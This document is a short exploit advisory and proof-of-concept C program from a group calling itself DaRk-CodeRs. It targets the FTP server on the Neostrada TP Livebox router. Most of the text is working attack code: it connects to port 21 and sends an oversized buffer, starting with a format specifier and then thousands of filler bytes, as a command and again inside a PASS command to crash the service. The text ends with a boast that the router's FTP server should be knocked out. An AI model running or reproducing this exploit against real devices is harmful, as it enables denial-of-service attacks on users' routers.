Livebox Router vulnerability to REMOTE BUFFER OVERFLOW DoS
Discovered by: 0in from DaRk-CodeRs Security & Programming Group! http://dark-coders.4rh.eu DESCRIPTION: Livebox (tested on polish "Neostrada TP Livebox") is vulnerability to remote (but from local network, because firewall working..) buffer overflow DoS attack to FTP service. FULL FTP SERVER NAME:"ADI Convergence Galaxy FTP server v0.1". POC: #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <stdio.h> #include <unistd.h> #include <string.h> int port=21; struct hostent *he; struct sockaddr_in their_addr; int konekt(char *addr) { int sock; he=gethostbyname(addr); if(he==NULL) { printf("Unknow host!\nexiting..."); return -1; } if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); return -2; } their_addr.sin_family = AF_INET; their_addr.sin_port = htons(port); their_addr.sin_addr = *((struct in_addr *)he->h_addr); memset(&(their_addr.sin_zero), '\0', 8); if (connect(sock, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { perror("connect"); return -1; } return sock; } int main(int argc,char *argv[]) { printf("\n+===============================Yeah======================================+"); printf("\n+= ADI Convergence Galaxy FTP Server v1.0 (Neostrada Livebox DSL Router) =+"); printf("\n+= Remote Buffer Overflow DoS Exploit =+"); printf("\n+= bY =+"); printf("\n+= Maks M. [0in] From Dark-CodeRs Security & Programming Group! =+"); printf("\n+= 0in(dot)email[at]gmail(dot)com =+"); printf("\n+= Please visit: http://dark-coders.4rh.eu =+"); printf("\n+= Greetings to: Die_Angel, Sun8hclf, M4r1usz, Aristo89, Djlinux =+"); printf("\n+= MaLy, Slim, elwin013, Rade0n3900, Wojto111, =+"); printf("\n+= Chomzee, AfroPL, Joker186 =+"); printf("\n+===============================Yeah======================================+"); if(argc<2) { printf("\nUse %s [IP]!\n",argv[0]); exit(0); } printf("\nConnecting to:%s...",argv[1]); int sock=konekt(argv[1]); if(sock<0) { printf("\neh..."); exit(0); } printf("\nConnected!!\n"); char rcv[256]; recv(sock,rcv,255,0); printf("\n%s\n",rcv); printf("\nSending evil buffer.."); char evil[100*100]="%n\x01\x02\x03\x04"; int i; for(i=0;i<(100*100)-100;i++) { strcat(evil,"A"); } strcat(evil,"\r\n"); send(sock,evil,strlen(evil),0); strcpy(rcv,""); recv(sock,rcv,255,0); printf("\n%s\n",rcv); char pass[100*1000]="PASS "; strcat(pass,evil); strcat(pass,"\n\r"); send(sock,pass,strlen(pass),0); strcpy(rcv,""); recv(sock,rcv,255,0); printf("\n%s\n",rcv); printf("\nOK!\nYou're Livebox FTP server should fu**ed out..."); exit(0); } EOF.
